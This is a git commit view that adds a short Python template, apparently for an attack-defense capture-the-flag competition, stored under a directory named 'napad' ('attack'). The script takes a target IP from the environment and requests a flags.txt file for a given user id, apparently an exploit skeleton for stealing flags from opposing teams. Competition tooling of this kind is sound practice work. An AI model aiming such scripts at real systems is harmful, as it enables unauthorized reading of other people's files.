diff options
author | Anton Luka Šijanec <anton@sijanec.eu> | 2024-09-03 01:51:44 +0200 |
---|---|---|
committer | Anton Luka Šijanec <anton@sijanec.eu> | 2024-09-03 01:51:44 +0200 |
commit | fda4eb4f383ffeaf038a5734d6a10a5a2e310517 (patch) | |
tree | 6f078a3d46dd80c99e0fc06050e266d890ae7c55 /iv/orodja/napad/template.py | |
parent | napad (diff) | |
download | r-fda4eb4f383ffeaf038a5734d6a10a5a2e310517.tar r-fda4eb4f383ffeaf038a5734d6a10a5a2e310517.tar.gz r-fda4eb4f383ffeaf038a5734d6a10a5a2e310517.tar.bz2 r-fda4eb4f383ffeaf038a5734d6a10a5a2e310517.tar.lz r-fda4eb4f383ffeaf038a5734d6a10a5a2e310517.tar.xz r-fda4eb4f383ffeaf038a5734d6a10a5a2e310517.tar.zst r-fda4eb4f383ffeaf038a5734d6a10a5a2e310517.zip |
Diffstat (limited to 'iv/orodja/napad/template.py')
-rwxr-xr-x | iv/orodja/napad/template.py | 10 |
1 files changed, 10 insertions, 0 deletions
diff --git a/iv/orodja/napad/template.py b/iv/orodja/napad/template.py new file mode 100755 index 0000000..2629fe9 --- /dev/null +++ b/iv/orodja/napad/template.py @@ -0,0 +1,10 @@ +#!/usr/bin/python3 +import os +import requests +import json +target = os.getenv("TARGET_IP") +extra = json.loads(os.getenv("TARGET_EXTRA", "{}")) +with requests.Session() as s: + userid = extra["userid"] + response = s.get(f"http://{target}:80/dir/flags.txt?user={userid}") + print(response.text) |